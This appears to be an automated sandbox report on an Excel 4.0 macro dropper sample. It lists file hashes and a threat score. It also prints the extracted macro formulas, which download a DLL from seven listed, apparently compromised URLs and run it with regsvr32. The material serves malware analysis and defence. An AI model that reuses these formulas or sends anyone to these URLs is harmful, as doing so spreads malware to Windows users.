General

  • Target

    3f4d6f602c4b6f9f956943a264c3a43f7ad413ff6a8c3885ece44230c974a90e

  • Size

    20KB

  • Sample

    241119-xbn66avlgr

  • MD5

    234ea13bf9f11beaba2db20a24979f9a

  • SHA1

    553ce1a073aa4f8c2f9fa6745c130fe32fe89c1e

  • SHA256

    3f4d6f602c4b6f9f956943a264c3a43f7ad413ff6a8c3885ece44230c974a90e

  • SHA512

    f10c74c225ef5ce49db529f99267dac2b549b8a428de1d012c6e55c369fdcbf325401e7761e7f19abafd98ff6763cefade6173f53675a3fb1d70853b5aecadb8

  • SSDEEP

    384:jA2Y5Vb1GNj20o4CGzPd6ZIwLJKb5CzgObff9kC+xbX7k7aU2d:k2EINro4FLAOCBn9kC+xbLkWf

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://bctconsulting.se/HelenaWEB/Xf1rQukg8HjfItb9x/

https://binaghetta.it/wp-content/gdONbcsI6Q9/

http://bnbengineering.com.pk/cgi-bin/6n8q1OFBzyGyPSJ/

http://bytesenbits.nl/cgi-bin/OjOn8icwhyf22SzegYA/

http://bioscan.ch/backup_nov05/n6S3o4q9dG8050/

http://abildgren.dk/webmail/XY8XstOvGiLx/

http://grworld.com.tr/fonts/TPxLPt9Us5ALpvY/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bctconsulting.se/HelenaWEB/Xf1rQukg8HjfItb9x/","..\kytk.dll",0,0) =IF('SCWVCV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://binaghetta.it/wp-content/gdONbcsI6Q9/","..\kytk.dll",0,0)) =IF('SCWVCV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bnbengineering.com.pk/cgi-bin/6n8q1OFBzyGyPSJ/","..\kytk.dll",0,0)) =IF('SCWVCV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bytesenbits.nl/cgi-bin/OjOn8icwhyf22SzegYA/","..\kytk.dll",0,0)) =IF('SCWVCV'!D20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bioscan.ch/backup_nov05/n6S3o4q9dG8050/","..\kytk.dll",0,0)) =IF('SCWVCV'!D22<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://abildgren.dk/webmail/XY8XstOvGiLx/","..\kytk.dll",0,0)) =IF('SCWVCV'!D24<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://grworld.com.tr/fonts/TPxLPt9Us5ALpvY/","..\kytk.dll",0,0)) =IF('SCWVCV'!D26<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\kytk.dll") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://bctconsulting.se/HelenaWEB/Xf1rQukg8HjfItb9x/

xlm40.dropper

https://binaghetta.it/wp-content/gdONbcsI6Q9/

xlm40.dropper

http://bnbengineering.com.pk/cgi-bin/6n8q1OFBzyGyPSJ/

xlm40.dropper

http://bytesenbits.nl/cgi-bin/OjOn8icwhyf22SzegYA/

xlm40.dropper

http://bioscan.ch/backup_nov05/n6S3o4q9dG8050/

xlm40.dropper

http://abildgren.dk/webmail/XY8XstOvGiLx/

xlm40.dropper

http://grworld.com.tr/fonts/TPxLPt9Us5ALpvY/

Targets

    • Target

      3f4d6f602c4b6f9f956943a264c3a43f7ad413ff6a8c3885ece44230c974a90e

    • Size

      20KB

    • MD5

      234ea13bf9f11beaba2db20a24979f9a

    • SHA1

      553ce1a073aa4f8c2f9fa6745c130fe32fe89c1e

    • SHA256

      3f4d6f602c4b6f9f956943a264c3a43f7ad413ff6a8c3885ece44230c974a90e

    • SHA512

      f10c74c225ef5ce49db529f99267dac2b549b8a428de1d012c6e55c369fdcbf325401e7761e7f19abafd98ff6763cefade6173f53675a3fb1d70853b5aecadb8

    • SSDEEP

      384:jA2Y5Vb1GNj20o4CGzPd6ZIwLJKb5CzgObff9kC+xbX7k7aU2d:k2EINro4FLAOCBn9kC+xbLkWf

    Score
    10/10

MITRE ATT&CK Enterprise v15

Tasks